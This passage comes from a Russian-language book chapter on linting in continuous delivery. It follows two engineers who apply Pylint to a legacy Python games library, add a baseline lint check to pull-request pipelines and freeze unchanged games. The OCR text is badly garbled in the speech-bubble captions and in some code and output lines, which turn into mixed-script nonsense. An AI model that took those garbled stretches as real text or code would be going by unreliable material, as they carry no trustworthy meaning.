прерывной интеграции пайплайна: он позволяет выявлять и помечать известные 
проблемы и нарушения стандартов написания кода, чтобы уменьшить количество 
багов в коде и облегчить его сопровождение. 
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Бекки и п роект Super Game Console 
Бекки недавно присоединилась к команде Super Game Console и очень этому рада! 
Игровая консоль Super Game Console очень популярна, она служит для запуска про
стых игр на Python. Главная ее особенность - это наличие огромной библиотеки игр 
на языке Python, в которую может внести свой вклад любой желающий. 

В компании Super Game Console разработан процесс подачи заявок, который по
зволяет каждому, от любителя до профессионала, зарегистрироваться в качестве 
разработчика и прислать свои игры. 

Но в этих играх очень много багов, и это настоящая проблема. Бекки и Рамон, ко
торый дольше работает в команде, тщетно пытаются разобраться с этим завалом. 
Бекки заметила несколько характерных моментов: 

• Некоторые игры вообще не компилируются ! А множество других багов возни
кает из-за простейших ошибок, таких как попытка использовать неинициали
зированные переменные. 

• Большинство ошибок на самом деле не критичны, а просто сильно мешают ра
боте Бекки (например, неиспользуемые переменные) .  

• Код каждой игры отличается от предыдущей.  Такая несогласованность в стилях 
затрудняет отладку. 
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Л и нти н г  спешит на помощь! 
Анализируя характер проблем, вызвавших баги, которые они с Раманом устраняли, 
Бекки понимает, что они очень напоминают те, которые обычно отлавливают линтеры. 

Зде.сt> их СV\1\олt>ко, 
На исV\ра6ле.ние. V\O 

оче.ре.ди 6ctX ЭV\1\иХ Oazo6 
уходиV\1\ куча 6ре.ме.ни . ЧV\1\о нам x6aV\l\uV\I\ минимум 

на V\apy ме.ся1.1е.61 

Може.V\11, tCV\l\t> более. 
Ot>ICV\l\pt>iii. CV\OCOO' 

че.м ко61>1ряV\1\t>СЯ с кажд1>1м 
V\O OV\l\дtЛt>HOCV\l\U? 

СV\орим, ЧV\1\О с лuнV\1\uнгом 
Mt>I сможем V\oфuкcuV\l\t> 

сразу много баго6? 

Что вообще такое линтинг? Это процесс по
иска линтов (lint)c помощью линтера ( linter) ! 
А что такое линт? Вы можете подумать, что 
это ворс 1 ,  который накапливается в сушилке 
для белья. 

Сами по себе отдельные ворсинки не вызывают 
проблем, но накопившись со временем, они могут 
помешать нормальной работе сушилки. В итоге, 
если долго не обращать на них внимания, ворсинок 
становится все больше, и они могут загореться от 
горячего воздуха в сушилке! 

То же самое происходит с ошибками и неувязками в программах: они на первый 
взгляд кажутся незначительными, но со временем накапливаются . Как в случае 
с Бекки и Раманом, код, который они просматривают, не согласован и полон мел
ких ошибок. Это не только приводит к появлению багов, но и мешает эффективно 
поддерживать код. 

1 Lint (англ. ) - ворс.  - Примеч. пер. 
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Вся п равда о л и нтинге 
Линтеры бывают разных видов и размеров. Поскольку они анализируют код и вза
имодействуют с ним, они обычно ориентированы на конкретный язык (например, 
Pylint для Python) .  Некоторые линтеры применимы абсолютно ко всему, что можно 
делать на языке, а некоторые специфичны для конкретных задач и инструментов: 
например, линтеры для эффективной работы с библиотеками НТТР. 

Мы остановимся на линтерах, которые применимы к языку в целом. Разные 
линтеры по-разному классифицируют возникающие проблемы, но все их можно 
отнести к одной из трех групп.  Разберемся, что за проблемы обнаружила Бекки 
и к каким группам они относятся: 

Ошибки : 
некоррекw.ное 
иСV\ОЛD3Обание 
кода, коморое 
не влияем на 
рабому У1.ро -
zpaMMDI. 

баzи : Неl'\рабиЛDНО HaV\иCaHHDIU код, 
коморt71u рабомаем не мак, как 
нужно' � 

• Некоторые игры вообще не компилируются ! А множество 
других багов возникает из-за простейших ошибок, таких как 
попытка использовать неинициализированные переменные. 

• Большинство ошибок на самом деле не критичны, а просто 
� сильно мешают работе Бекки (например, неиспользуемые 

переменные) .  

• Код каждой игры отличается от предыдущей. Такая несогла
сованность в стилях затрудняет отладку.� 

Нарушения смиля: немследобамелf7н!71е 
смиле8!71е решения и «ЗаV\аХи» кода. 

В чем разница между статическим анализом и линтингом? 

Статический анализ позволяет проводить разбор кода без его выполнения. 
В следующей главе мы поговорим о тестах, которые представляют собой своего 
рода динамический анализ, поскольку они требуют выполнения кода. Лин
тинг - это разновидность статического анализа; термин статический ана
лиз в общем случае включает в себя множество различных способов анализа 
кода. В контексте непрерывной доставки большая часть статического анализа, 
который мы будем обсуждать, выполняется с помощью линтеров. В осталь
ном различие не так важно. Название линтер происходит от одноименного 
инструмента, созданного компанией Bell Labs в 1 978 году. В большинстве слу
чаев, особенно в рамках CD, термины статический анализ и линтинг можно 
использовать как взаимозаменяемые, однако некоторые формы статического 
анализа выходят за рамки возможностей линтеров. 
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Сказ о Pyl int и множестве ошибок 
Поскольку все игры для Super Game Console написаны н а  Python, Бекки и Рамон 
решили, что лучше всего начать с использования инструмента Pylint. Вот структура 
кода Super Game Console: 

console/ 
docs/  
games/  .---.__ 
test/  
setup . py 
LICENSE  
README . md 
requi rement s . txt 

в Kt\W\iMOZe 9t1W1e5 хранЯW\СЯ 
6се uzptJt, V\pUCЛt\HH/Jlt ptt3 -
pttбOW\ЧUKt\MU. 

В папке games тысячи игр. Бекки не терпится узнать, что Pylint сможет поведать 
о них ей и Рамону. Бекки с замиранием сердца вводит команду и нажимает Enter . . .  

$ pylint  games 

И в награду на экран выводится множество предупреждений и сообщений об ошиб
ках! Вот лишь малая часть того, что она увидела: 

game s / b r i dge . py : 40 : 0 :  W03 1 1 : Bad indentat ion . F o u n d  2 s p a c e s ,  expected 4 ( ba d - i nd e n t a t i o n ) 

game s / b r idge . py : 41 : 0 :  W0 3 1 1 : Bad i n d e n t a t i o n . F o u n d  4 s p a c e s ,  expected 8 ( b a d - i n d e n t a t i o n ) 

game s / b r i dge . ру : 46 :  0 :  W0 3 1 1 : Bad i n d e n t a t i o n . F o u n d  2 s p a c e s ,  expected 4 ( ba d - i n d e n t a t i o n ) 

game s / b r i dge . ру : 1 :  0 :  С0114 : M i s s i ng mod u l e  d o c s t r i n g  ( m i s s i n g - mod u l e - do c s t r i n g )  

game s / bridge . py : 3 : 0 :  С 0 1 1 6 : M i s s i n g  f u n c t i o n  o r  method d o c s t r i n g  ( m i s s i n g - fu n c t i o n - d o c s t r i n g )  

game s / bridge . ру : 1 3 : 1 5 : Е0601 : U s i n g  v a r i a Ы e  ' bo a r d ' before a s s ignment ( u s e d - before - a s s ignment ) 

game s / b r i dge . ру : 8 :  2 :  W0612 : U n u s e d  v a r i a Ь l e  ' c a r d s ' ( u n u s e d - v a r i a Ь l e )  

game s / b r i dge . ру : 2 3 : 0 :  С0103 : Argument n a m e  1< х))  doe s n '  t conform to s n a ke_c a s e  n a m i n g  s t y l e  ( i n va l i d - name ) 

game s / b r i d g e . py : 23 : 0 :  С0116 : M i s s i n g  f u n c t i o n  or method d o c s t r i n g  ( m i s s i ng - f u n c t i o n - d o c s t r i n g )  

game s / b r i dge . ру : 26 : 0 :  С011 5 :  M i s s i n g  c l a s s  d o c s t r i n g  ( m i s s i ng - c l a s s - do c s t r i n g )  

game s / b r i dge . ру : 30 : 2 :  С 0 1 1 6 : M i s s i n g  f u n c t i o n  or method d o c s t r i n g  ( m i s s i n g - fu n c t i o n - d o c s t r i n g )  

game s / b r idge . py : 30 : 2 :  R0201 : Method could Ье а f u n c t i o n  ( n o · s e l f - u s e )  

game s / b r idge . py : 26 : 0 :  R0903 : Тоо f e w  p u Ы i c  method s ( 1 / 2 )  ( to o - f ew - pu Ы i c - method s )  

game s /  s n a k e s . ру : 3 0  : 4 :  С0103 : Method name 11do_POST )) doe s n '  t conform t o  s n a ke_c a s e  n a m i n g  s t y l e  ( i n v a l i d - name ) 

game s / s n a k e s . py : 30 : 4 :  С0116 : M i s s i n g  f u n c t ion or method d o c s t r i n g  ( m i s s i n g - fu n c t i o n - d o c s t r i n g )  

game s / s n a k e s . py : 39 : 4 :  С0103 : C o n s t a n t  n a me (( htt pФ> doe s n ' t  conform to U P P E R_CASE n a m i n g  s t y l e  ( in v a l i d - name ) 

games / s n a k e s . ру : 2 :  0 :  W06 1 1 : U n u s ed import logging ( u n u s e d - import ) 

game s / s n a k e s . ру : 3 :  0 :  W061 1 :  U n u s ed a rgv imported from sys ( u n u s e d - import ) 

А как обстоят дела с другими языками и линтерами ?  

Бекки и Рамон используют Python и Pylint, но  принципы этого инструмента 
применимы к любому языку или линтеру. Все хорошие линтеры должны предо
ставлять такую же гибкость конфигурации, которую мы продемонстрируем 
на примере Pylint, и должны обнаруживать такое же разнообразие проблем. 
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Унаследован н ы й код: системн ый подход 
ЭW\о ужасно! 

Здесь, должно быW\ь, 
деСЯIМК!.( IМЫСЯЧ 

ощ1Абок! 

При первом запуске линтера количество найденных им ошибок может вас ошело
мить. (Скоро мы поговорим о том, что делать, если вам не нужно работать со всем 
объемом кода.)  

К счастью, Бекки уже работала с линтингом унаследованного кода и разработала 
системный подход, который позволит им с Рамоном ускорить процесс и рациональ
но распределить время: 

1. Прежде чем что-то делать, необходимо настроить инструменты линтинга. Опции, 
которые Pylint применяет по умолчанию, могут не подойти для Super Game Console. 

2. Необходимо определить исходный уровень ошибок и отслеживать его. Бекки 
и Рамону не обязательно исправлять каждую ошибку; если им достаточно убе
диться, что количество ошибок со временем уменьшается, то этот результат 
и нужно считать удовлетворительным. 

3 .  Получив результаты, в следующий раз, когда разработчик пришлет новую игру, 
Бекки и Рам он могут снова провести измерения и остановить процесс реги -
страции игры, если в ней появились новые ошибки. Таким образом, количество 
ошибок никогда не будет увеличиваться . 

4. На данном этапе Бекки и Рамон добились того, что ситуация не ухудшится; с уче
том этого они могут приступить к решению имеющихся проблем. Бекки знает, 
что не все выявленные линтером проблемы одинаковы, поэтому они с Рамоном 
будут действовать по принципу «разделяй и властвуй»,  чтобы максимально эф
фективно использовать драгоценное время. 

Нам э1Мо 

Бекки знает, что им не нужно исправлять все ошибки: просто предотвратив по
явление новых, они уже сделали половину дела. И действительно, не всегда можно 
и нужно исправлять все ошибки. 
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Шаг 1 .  Настройка линтера в соответствии 
со стандартами написа н ия кода 
Рамон изучает часть ошибок, которые выдает Pylint, и замечает, что линтер реаги
рует на то, что отступ должен быть в четыре пробела вместо двух: 

bridge . py : 2 : 0 :  W0311 : Bad indentation . Found 2 spaces , expected 4 ( bad - indentation ) 

бекки , эта ои.щбка ложная. 
по нащему стандарту MDI 

UСV\ОЛDзуем дба 11\робела. 

Разбе у нас естD 
стандарт 

кодиробания? 

Часто стандарты кодирования не автоматизированы, 
поэтому Бекки не удивлена. Но к счастью, стандар
ты кодирования (которые все игнорируют) содержат 
большую часть информации, нужной Бекки и Рамону, 
а именно: 

• Отступ табуляцией или пробелами? Если пробела
ми, то сколько? 

• Как именовать переменные -- в стиле snake_case 
или camelCase? 

• Существует ли максимальная длина строки? И ка
кова она? 

Для соблюдения стандартов кодирования 
необходима автоматизация 

В отсутствие автоматизации разработчикам 
приходится помнить о соблюдении стандар
тов, а ревьюерам - не забыть их проверить. 
Люди есть люди: мы можем что-то упустить! 
Но машины - нет: линтеры позволяют авто
матизировать применение стандартов кодиро
вания, чтобы никому не приходилось думать 
об их выполнении. 

Вы уже умеете 
настраивать 
линтер ?  

Тогда можете пропу
стить эту страницу! 
Прочитайте ее, если 
вы никогда раньше 
не настраивали ин
струменты линтинга. 

На что обращать 

внимание 

При выборе инстру
ментов для линтинга 
обращайте внимание 
на возможность их 
настройки. Не весь 
унаследованный код 
и не все команды раз
работчиков одинако
вы, поэтому важно 
иметь возможность 
настраивать линтер. 
Линтеры должны 
работать на вас, а не 
наоборот! 
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Ответы на эти вопросы можно загрузить в Pylint в виде параметров конфигурации 
в файле, который обычно называется .pylintrc. 

В существующем стандарте Бекки не нашла всего, что ей было нужно, поэтому 
им с Рамоном иногда приходилось самим принимать решения. Они привлекли 
к обсуждению остальных членов команды Super Game Console, но не смогли дого
вориться по ряду пунктов; в конце концов Бекки и Раман просто приняли волевое 
решение. В случае сомнений они обращались к идиомам языка Python, что чаще 
всего означало придерживаться настроек Pylint по умолчанию. 

Ша г  2. Оп ределение базового уровня 
После настройки Pylint в соответствии с существующим и новым стандартом коди -
рования ошибок стало немного меньше, но их по-прежнему десятки тысяч. 

Бекки знает, что даже если они с Раманом оставят код как есть и просто будут 
указывать количество ошибок при его изменении, это мотивирует команду делать 
меньше ошибок. А на следующем этапе они будут использовать эти данные, чтобы 
остановить рост количества ошибок. 

Бекки пишет скрипт, который запускает Pylint и подсчитывает количество ошибок, 
о которых он сообщает. Она создает пайплайн, который запускается каждую ночь, 
и публикует эти данные в хранилище ВLОВ-объектов. Через неделю она собирает 
данные и строит график, показывающий динамику изменения количества ошибок: 

90 000 

85 ООО 

80 000 

75 ООО 

70 000 Март З Март 4 Март 5 Март 6 Март 7 

Их с�мано6и W\СЯ болише! 
Э�мо безнадежно! 

Количество ошибок продолжает расти, потому что пока Бекки и Раман работают над 
этой проблемой, разработчики с энтузиазмом шлют новые игры и обновления на 
Super Game Console. Каждая новая игра и новое обновление содержат новые ошибки. 
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Нужно пи создавать скрипт самостоятельно ? 

Да, в данном случае, скорее всего, придется .  Бекки пришлось самой написать 
инструмент, измеряющий исходное количество ошибок и отслеживающий из
менение этого количества с течением времени.  Если вам нужен такой же, скорее 
всего, вам придется создать его самостоятельно. Это будет зависеть от исполь
зуемого языка и доступных инструментов. Вы также можете подписаться на 
сервисы, которые будут отслеживать для вас эту информацию. В большинстве 
систем CD такая функциональность не предусмотрена, поскольку она зависит 
от языка и специфики конкретной предметной области. 

Ша г  3 . П ринудительная проверка 
п ри поступлени и  данных 
Рамон заметил, что по мере поступления новых данных количество ошибок, которые 
находит Pylint, увеличивается, но у Бекки есть решение: блокировать данные, которые 
увеличивают количество ошибок. Это означает введение нового правила для каждого 
пул-реквеста (PR): 

Каждый PR должен уменьшать количество ошибок линтинrа или оставлять 
ero на прежнем уровне. 

Бекки создает соответствующий скрипт для пайплайна, который Super Game Console 
запускает для всех PR: 

# при  запуске пайплайна он будет переда вать в качестве ар гументов 

# пути к файлам, которые изменил и с ь  в PR 
paths_to_chaпges = get_arguments ( )  

# запустите линтинг  для файлов , которые изменил и с ь ,  чтобы посмотреть,  

# с колько ошибок обнаружено 
proЫems = run_lint ( paths_to_changes ) 

# Бекки создала пайпл а й н ,  который запускается каждую ночь и запи сывает 
# количество обна руженных ошибок в хранил ище ВLОВ - объектов;  

# с крипт линтинга  з а г ружает эти данные 
known_proЫems = get_known_proЫems ( paths_to_change s )  

# с равнение количества ошибо к ,  на йденных в измененном коде , 
# с количеством ошибок,  на йденных прошлой ночью 

if len ( proЫems ) > len ( known_proЫems ) :  
# не выполнять слияние для данного PR ,  если оно 
# увеличи вает количество ошибок линтинга  
fail ( " number of lint  issues  inc reased from {}  to { } " . format ( 

len ( kпown_proЫems ) ,  len ( p roЫems ) ) )  

Следующим шагом Бекки добавляет этот скрипт в существующий пайплайн, кото
рый запускается для каждого PR. 
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Что еще за PR? 

PR означает пул
реквест, или запрос 
на вытягивание (pиll 
request) , способ пред
ложить и просмотреть 
изменения в коде. 
Подробнее см. главу 3. 

[ Запуск тестов для всего 

измененного кода игр 

(Разве не нужно отслеживать что-то еще, 
кроме количества ошибок? 

Действительно, при простом сравнении количе
ства ошибок что-то можно упустить; например, 
в изменении может не быть прежней ошибки, 
но при этом появится новая. Однако в данной 
ситуации действительно важна только общая 
тенденция, а не конкретные проблемы. 

r -
Создание 

с:;) образов и гр с:;) 
Загрузка образа 

в промежуточный 

реестр 

Гновая или небольшая кодовая база 1 �уть ниже мы поговорим об этой теме подробнее, но если вы работаете с не
большой или совсем новой кодовой базой, вы можете пропустить определение 
базового уровня и сразу подчистить все найденные ошибки. Тогда вместо того, 
чтобы добавлять в пайплайн проверку того, что количество ошибок не уве
личивается, добавьте проверку, которая не пройдет, если линтинг обнаружит 
новые ошибки. 

Добавление принудительной п роверки 
в пай плайн 
Бекки нужно, чтобы новая проверка выполнялась каждый раз, когда разработчик 
отправляет новую игру или обновление для существующей игры. Сервис Super Game 
Console добавляет новые игры через пул-реквест (PR) к своему GitНuЬ-репозиторию. 
Компания уже предоставляет разработчикам возможность включать свои тесты 
в игры, и они запускают эти тесты при каждом PR. Вот как выглядит пайплайн до 
изменений Бекки: 
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! Запуск тестов для всего 

измененного кода и гр 

А6W1орь1 uгр могуW1 6кмо -
чаWlь юнuW1-W1ecW1ti1. Еслu 
для uгры, коW1орая в дан 
ном PR доба6ляеW1СЯ uлu 
обно6ляеv��ся, сущесW16уюW1 
WleCWIDI, W\O ОН/А ЗаУ\уСКа -
IOWICЯ. 

,r -
Создание 

� образов игр � 

Фuзuческое оборудо6анuе 
для Super ЦaWle CoV1so(e 
з@ускаеWI каждую uгру 
как KOHWlei:iнep, V\OЭWIOMY 
когда очередной PR меня -
eWI uгру, создаеWIСЯ но6ыi:i 
образ. 

За грузка образа 

в промежуточный 

реестр 

И наконец, образ за гр ужа -
eWICЯ в peecWlp. поскольку 
эWlo V1poucxoдuW1 в рамках 
PR, образ загружаеWIСЯ 
W\ОЛЬКО в V\poмeжyWIOЧHtiti:i 
peecWlp ожuданuя. ToWI, 
KWIO V1pocмaW1pu6aeW1 PR, 
можеWI uз6лечь образ uз 
peecW1pa u V1po6ecW1u его 
V1робныi:i з@уск. 

Бекки хочет добавить новую проверку в пайплайн, который Super Game Console 
запускает для каждого PR. 

беКК/А peщaeWI ЗаУ\у - r 
CW\/AW\b ЛUHWIUHг 
одновременно 
С IOHUW1 -W1eCW1aMu .  
Онu не  будуw. блокu -
ро6аw.ь дру г  друга,  
а разрабоw.чuкu смо -
гуw. сразу убuдеw.ь 
все ощuбкu в коде 
u ucV1pa6uw.ь ux. 

Запуск тестов для всего 
измененного кода игр 

Проверка того, 
что количество ошибок 
линтинга <= исходному 

уровню 

Создание образов игр 

Теперь каждый раз, когда разработчик будет открывать PR для добавления или 
изменения игры на Super Game Console, будет запускаться скрипт Бекки. Если от
крытый PR увеличит количество ошибок линтинга, пайплайн остановится. И прежде 
чем он продолжит создание образов, разработчик должен будет исправить ошибки. 

Книги для программистов: https://t.me/booksforits



106 Глава 4. Эффективное использование линтинга 

Шаг 4. «Разделяй и властвуй» 

90 000 

85 000 

80 000 

75 000 

70 000 
Март Март Март Март Март Март Март Март Март Март 

3 4 5 6 7 9 10 11 12 1 3  

О'кеU., количесW160 
V\роблем не убеличи -

баеWlсЯ, но и не 
уменищаеWIСЯ. 

Бекки и Рамон остановили развитие проблемы. Теперь напряжение снято, и они 
могут спокойно заняться исправлением существующих ошибок, будучи уверенными, 
что новых не прибавится. Пришло время исправлять ошибки! Но у Рамона сразу же 
появляется проблема". 

rтpoCWIU, Векки , 
я добабил ноби1U. баz 
в и zру Super Sмkes 

aV\d Ladders '  

Внесение любых изменений, в том числе тех, которые исправляют ошибки, найден
ные при линтинге, чревато появлением новых ошибок. Так почему же мы все-таки 
проводим линтинг? Потому что его польза перевешивает риск! И он имеет смысл, 
только если это действительно так. Проанализируем преимущества и риски при 
исправлении ошибок, выявленных при линтинге: 

Преимущества Риски 

Линтинг  отлавливает баги 
Внесение изменений может привести 
к появлению новых багов 

Линтинг  помогает устранить несуще-
ственные ошибки Исправление ошибок, найденных 

Последовательный код легче поддер- при линтинге, отнимает время 

живать 

Из таблицы можно сделать несколько интересных выводов. Первое преимущество -
это обнаружение багов, и его нужно сопоставить с первым риском - появлением 
новых. 
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Рамон внес новый баг в игру, в которой раньше их не находили. Стоило ли идти 
на риск добавления нового бага в игру, которая, судя по всему, отлично работала? 
Возможно, нет! 

Два других преимущества актуальны, только если требуется изменять код. Если 
код не нужно менять ни сейчас, ни в будущем, не имеет значения, сколько в нем 
мелких ошибок и насколько он непоследователен. 

Рамон занимался обновлением игры, в которую два года не вносили изменения. 
Стоило ли тратить время и рисковать появлением новых багов в игре, которая долго 
не обновлялась? Скорее всего, нет! Нужно найти способ изолировать эти игры, 
чтобы не тратить на них время. 

Изол и рова н ие: не все нужно исправлять 

Преимущества 

Линтинг  отлавливает баги.  

Линтинг  помогает устранить 
несущественные ошибки.  

Последовательный код легче 
поддерживать. 

Эми дба nреимущесмба акмуал1:>н1:>1 мол1:>ко 
б мом случае, если 81:>1 манируеме бносимt> 
изменения б код. Если бь1 Вообще не собира -
емес1:> его мрогамь, зачем мрамим1:> бремя 
и рискобам1:> мяблением нобых багоб? 

Если сообщений о багах нем, мл1:>за 
ом эмого будем незначимел1:>ной. 
Баги будум бсегда; боnрос б мом, 
смоим ли их омла6либам1:>. 

Бекки и Рамон просматривают все игры в библиотеке и выявляют те, которые меня
ются меньше всего. Всем им больше года, и разработчики перестали их обновлять. 
Коллеги также изучают количество ошибок, о которых сообщают пользователи этих 
игр. Они выбирают игры, которые не менялись больше года и для которых нет сообще
ний об ошибках, и перемещают их в отдельную папку. Их код теперь выглядит так: 

. pylintrc  
console/ 
doc s /  
games /  

frozen/ 

test/ 
setup . py 

� Файл конфигурации для Pylint, созданн1:>1u Бекки 
и Рамоном на шаге 1.. 

� Эми игры не обноблялис1:> бол1:>ще года, 

LICENSE  
README . md 
requirement s . txt 

и б них нем избесмн1:>1х багоб. Изменений 
6 них не ожидаемся, мэмому их можно 
исключим!:> из nроберки линмером. 

Бекки и Рамон обновляют .pylintrc, исключая из анализа игры, помещенные в каталог 
frozen/: 

[ МАSТ Е R ]  
ignore=games/frozen 

Книги для программистов: https://t.me/booksforits



108 Глава 4. Эффективное использование линтинга 

П ринудительное изолирование 

90 000 

85 000 

80 000 

75 000 

70 000 
1 

Март Март Март Март Март Март Март Март Март Март Март 
3 4 5 6 7 9 1 0  1 1  1 2  1 3  15 

Вау, м1:>1 изба&�лисt:> 
O W\  .20'7, оw.цоок! 

М1:>1 делаем ycV1exu . 

А для большей безопасности Бекки создает новый скрипт, который следит, чтобы 
никто не вносил изменения в игры из каталога frozen/: 

# при  запуске пайплайна  он будет передавать в качестве 
# ар гументов пути к файлам, которые были изменены в PR 
paths_to_chaпges = get_a rgumeпts ( )  

# вместо жесткого кодирования  этого  с крипта 
# для отслеживания изменений  в games/frozeп 
# з а г рузим и гнорируемые каталоги  из  
# . pyliпtrc , чтобы проверка стала  универсал ьной . 
ignored_dirs = get_ignored_dirs_from_Pylint rc ( )  

# проверка н а  наличие  изменений  по всем путям, 
# находящимся в и гнорируемых каталогах  
ignored_paths_with_changes = get_common_pat h s (  

paths_to_c haпges,  ignored_dirs ) 

if len ( ignored_paths_with_change s )  > 0 :  

# н е  выполнять слияние  для PR ,  если  он 
# предпола гает изменения в и гнорируемых катало гах . 
fаil ( "для { }  не выполняется линтин г ,  " 

" поэтому изменения не допускаются " . fоrmаt ( 

ignored_paths_with_changes ) )  

Но что, если потребуется изменить (<замороженную» игру? 

Сообщение об ошибке должно содержать рекомендации о том, что следует 
делать при необходимости изменить игру. Разработчик, желающий внести 
изменения, должен переместить игру из папки frozen в рабочую среду и об
работать все ошибки, которые, несомненно, будут найдены при линтинге. 
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Затем она добавляет его в пайплайн, который работает с PR: 

! Запуск тестов для всего 
измененного кода игр 

Проверка того, 
что количество ошибок 
линтинга <= базовому 

уровню 

Проверка того, что 
в каталоге games/frozen 

нет изменений 

Создание 
образов игр 

Загрузка образа 
в промежуточный 

реестр 

Не все п роблемы оди наковы 
Итак, неужели теперь можно приступить к исправлению ошибок? Рамон с головой 
погружается в работу, но уже через два дня его силы на исходе: 

Бекки, у меня ушло 
оба ОНЯ,  ЧW\00111 UCV\pa6uw.ti 6се 
ощибки w.ол11ко 6 и гре Super 
CVleckers . Как же м111 собира -

Ttil V\pa6. Да6аu -ка емся UCV\pa6uw.ti все � 
начнем с сам111х 
сер11езн111х баzо6 1 

Бекки и Рамон хотят сначала исправить самое важное. Проанализируем еще раз пре
имущества и риски исправления ошибок линтинга, чтобы понять, как это сделать: 

Преимущества Риски 

Линтинг  отлавливает баги 
Внесение изменен ий может привести 
к появлению новых ош ибок 

Линти нг  помогает устранить несуществен-
ные ош ибки Исправление ошибок, выявленных 

п ри линтинге, отнимает время 
Последовательны й код легче поддерживать 
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Рамон сталкивается со вторым типом рисков: у него уходит слишком много времени 
на исправление всех ошибок. А у Бекки есть встречное предложение: сначала ис
править самые серьезные ошибки. Таким образом, они потратят время максимально 
эффективно, и им не потребуется исправлять абсолютно все. 

Так какие же проблемы нужно решить в первую очередь? Преимущества лин
тинга касаются всех видов ошибок, которые он находит: 

Преимущества 

Баzц ____. Линтинг отлавливает баги. 

Ошцбкц ____. 
СW\(.(ЛЬ ____. 

Линтинг помогает устранить несуществен ные ошибки. 

Последовательный  код легче поддерживать. 

Какие п роблемы выявляет линти нг  
Проблемы, которые находят линтеры, можно разделить на три вида: баги, ошибки 
и стиль. 

Баги, обнаруживаемые с помощью линтинга, - это типичные случаи неправиль
ного использования кода, из-за чего он работает неверно. Например: 

• неинициализированные переменные; 

• несоответствие форматов переменных. 

Ошибки, выявляемые линтингом, - это типичные ошибки в коде, которые не вли
яют на работу кода, однако могут вызывать проблемы с производительностью или 
затрудняют поддержку кода. Например: 

• неиспользуемые переменные; 

• псевдонимы переменных. 

И наконец, проблемы стиля - это непоследовательное применение стилевых ре
шений и запахи кода. Например: 

• длинные сигнатуры функций; 

• непоследовательный порядок импорта. 

Наверное, было бы неплохо исправить все эти проблемы, однако если бы у вас было 
время только на один их вид, какой бы вы выбрали? Наверное, баги? Логично, ведь 
они влияют на работу продуктов! Вот как выглядит иерархия: 

Баzц 

Ошцбкц 

,...----. 

,...----. 

,..---. 

Преимущества 
� 

Линтинг отлавливает баги . , 
Исv-.рабьW\е цх 
в мрбую очередь! 

Линтинг помогает устранить несущественные э 
ошибки . 

WIO ошцбкц , но менее 
ачцW\ельные, чем -"" 3Н 

Последовательный код легче поддерживать. , 

Занцма!АW1есь боv-.росамц сW1цля, / 
когда ц еслц у бас UW\b бремя. 

баz ц .  Исv-.рабляlАW\е цх 
вW\орую очередь. во 
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Сначала баги, потом стиль 111 

Бекки рекомендует Рамону исправлять проблемы, найденные линтером, системати
чески. Тогда, если им придется переключиться на другой проект, они будут знать, 
что не зря потратили время на устранение проблем. Возможно, они даже решат 
ограничить свои усилия по времени:  посмотреть, сколько ошибок они смогут ис
править за две недели,  а затем двигаться дальше. 

Как определить, к какому виду относится проблема? Многие инструменты лин
тинrа классифицируют найденные проблемы. Посмотрим еще раз на некоторые из 
них, обнаруженные с помощью Pylint: 

games / b r i d g e . ру : 46 : 0: W03 1 1 : Bad i n d e n t a t i o n . Found 2 s p a c e s 1  expected 4 ( b.:i d  - i n d e n t a t i o n ) 

game s / b r i d ge . py : l : 0 :  С0114 : M i s s i n g  mod u l e  d o c s t r i n g  ( m i s s i n g · modu l e · do c s t r i ng ) )  

game s / b r i dge . ру : 1 3 :  1 5 : Е0601 : U s i n g  v a r i a Ь l e  ' board ' before a s s i gnment ( u s e d - before - a s s ignment ) 

game s / bridge . ру : 8 :  2 :  W0612 : U n u s ed v a r i a Ы e  ' c a r d s ' ( u n u s e d - v a r i a Ы e )  

game s / bridge . py : 30 : 2 :  R0201 : Method c o u l d  Ь е  а f u n c t ion ( n o - s e l f - u s e )  

game s / b r idge . py : 2 6 : 0 :  R090З : Тоо f e w  p u Ь l i c  methods ( 1 / 2 )  ( t o o - f ew - p u Ы i c - method s )  

game s / s n a k e s . py : 30 : 4 :  С0103 : Method name " do_POST" doe s n ' t  conform to s n a k e_ c a s e  n a m i n g  s t y l e  ( i n v a l i d - name ) 

Каждой проблеме присвоена буква и номер. Pylint распознает четыре категории про
блем: Е - ошибка (error), то есть то, что мы называем багами; W - предупреждение 
(warniпg) - то, что мы называем ошибками. Две последние категории, С - соглаше
ние (сопvепtiоп) и R - рефакторинг (refactor), мы относим к стилю. 

Рамон создает скрипт и отслеживает количество проблем каждого вида на про
тяжении всей следующей недели: 

Баги, ошибки и стил ь 

90 000 

80 000 

70 000 

60 000 

50 000 

40 000 

30 000 

20 000 

1 0 000 

Март 1 7  

Стиль 8 0шибки 8 Баги 

Март 1 8  Март 1 9  Март 20 Март 21  

Общее количество проблем остается довольно высоким, однако количество багов -
самых важных проблем, выявляемых линтинrом, - неуклонно снижается ! 
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Новые п репятствия 

Оw.лично! Я 1'\росмоw. 
рело. Сl'\исок сообщений 
об ошибках, и мхоже, 

У нас осw.алос1:> мен1:>ше 
мловин1:>1 ошибок, 

ЧW\О Ml:>I исl'\равили 
довол1:>но мноzо. 

ДаiА уzадаю: они думаюw., 
ЧWIO все zow.oвo, а коzда 

оw.кр1:>1ваюw. PR, у них внезаv-. 
но снова мявляеw.ся куча 

��-- рабоw.1:>1? Я знаю, 
чw.о делаw.1:>1 

Но разрабоw.чики 
иzр недовол1:>н1:>1, 

ЧW\О Ml:>I 1'\ОСW.ОЯННО 
чw.о -w.o находим 

в каждом PR. 

Бывает обидно, когда кажется, что все готово, а на самом деле приходится преодо
левать новые трудности. Решение довольно простое: включите линтеры в процесс 
разработки. Как это сделать и как облегчить задачу разработчикам? Просто вы
полните следующее: 

l .  Разместите файлы конфигурации линтинга в репозитории с кодом. Бекки 
и Рамон внесли код .pylintrc, который они используют, прямо в репозиторий 
Super Game Console. Теперь разработчики могут применять конфигурацию, 
которая используется пайплайном CD, и избежать сюрпризов. 

2. Запускайте линтер во время работы. Его можно запустить и вручную, но проще 
всего это сделать с помощью интегрированной среды разработки (integrated 
development environment, IDE). Большинство IDE и даже такие редакторы, как 
Vim, позволяют интегрировать линтеры и запускать их в процессе работы. 
Таким образом, если вы допустите ошибку, вы сразу же об этом узнаете. 

Бекки и Рамон рассылают уведомление всем разработчикам, с которыми они сотруд
ничают, с рекомендацией включить линтинг в свою IDE. Кроме того, они добавляют 
для них напоминалку, появляющуюся, когда линтинг в PR не проходит: о том, что 
разработчики могут включить у себя эту функцию. 

r-� ��к 
насчет формат

��

ро

�;

-----

--
- - - - -- -

В некоторых языках довольно легко избежать многих ошибок стиля, ис
пользуя инструменты, называемые форматтерами, которые автоматически 
